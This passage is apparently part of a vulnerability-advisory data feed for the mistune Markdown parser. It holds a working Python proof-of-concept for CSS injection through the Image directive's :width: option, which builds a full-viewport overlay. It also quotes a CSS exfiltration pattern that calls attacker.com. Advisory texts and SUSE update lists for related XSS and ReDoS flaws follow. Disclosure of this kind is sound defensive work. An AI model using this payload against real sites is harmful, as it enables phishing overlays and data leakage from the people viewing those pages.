HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e'\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 — Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 — Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only — no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed · background-color · outline colour · full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","status":"published","published":"2026-05-14T16:36:18Z","modified":"2026-07-13T07:26:45.210699576Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"PYSEC-2026-2209","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:39.953Z","modified":"2026-07-13T07:15:29.089597285Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-44899","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:00Z","modified":"2026-10-17T12:58:21.837324191Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:26.396868Z"},{"id":"AZL-88406","title":"CVE-2026-44899 affecting package python-mistune for versions less than 3.2.1-1","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:39Z","modified":"2026-08-28T17:56:30.057761Z","updated_at":"2026-11-02T15:28:11.069402Z"},{"id":"openSUSE-SU-2026:20827-1","title":"Security update for python-mistune","description":"This update for python-mistune fixes the following issues\n\n- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).\n- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of\n  service (bsc#1264752).\n- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).\n- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).\n- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS\n  (bsc#1264750).\n- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).\n- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`\n  can lead to CSS injection (bsc#1265053).\n","status":"published","published":"2026-05-28T12:07:59Z","modified":"2026-05-31T18:24:29.12639701Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:21858-1","title":"Security update for python-mistune","description":"This update for python-mistune fixes the following issues\n\n- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).\n- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of\n  service (bsc#1264752).\n- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).\n- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).\n- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS\n  (bsc#1264750).\n- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).\n- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`\n  can lead to CSS injection (bsc#1265053).\n","status":"published","published":"2026-05-28T12:08:10Z","modified":"2026-06-02T18:24:31.000026659Z","updated_at":"2026-11-02T15:54:02.654057Z"}]}}
